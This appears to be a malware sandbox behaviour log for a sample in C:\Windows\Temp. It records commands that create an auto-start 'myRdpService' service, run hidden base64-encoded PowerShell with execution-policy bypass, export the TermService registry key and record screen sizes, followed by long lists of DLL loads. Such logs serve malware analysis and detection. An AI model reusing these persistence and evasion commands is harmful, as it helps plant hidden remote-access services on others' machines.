Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
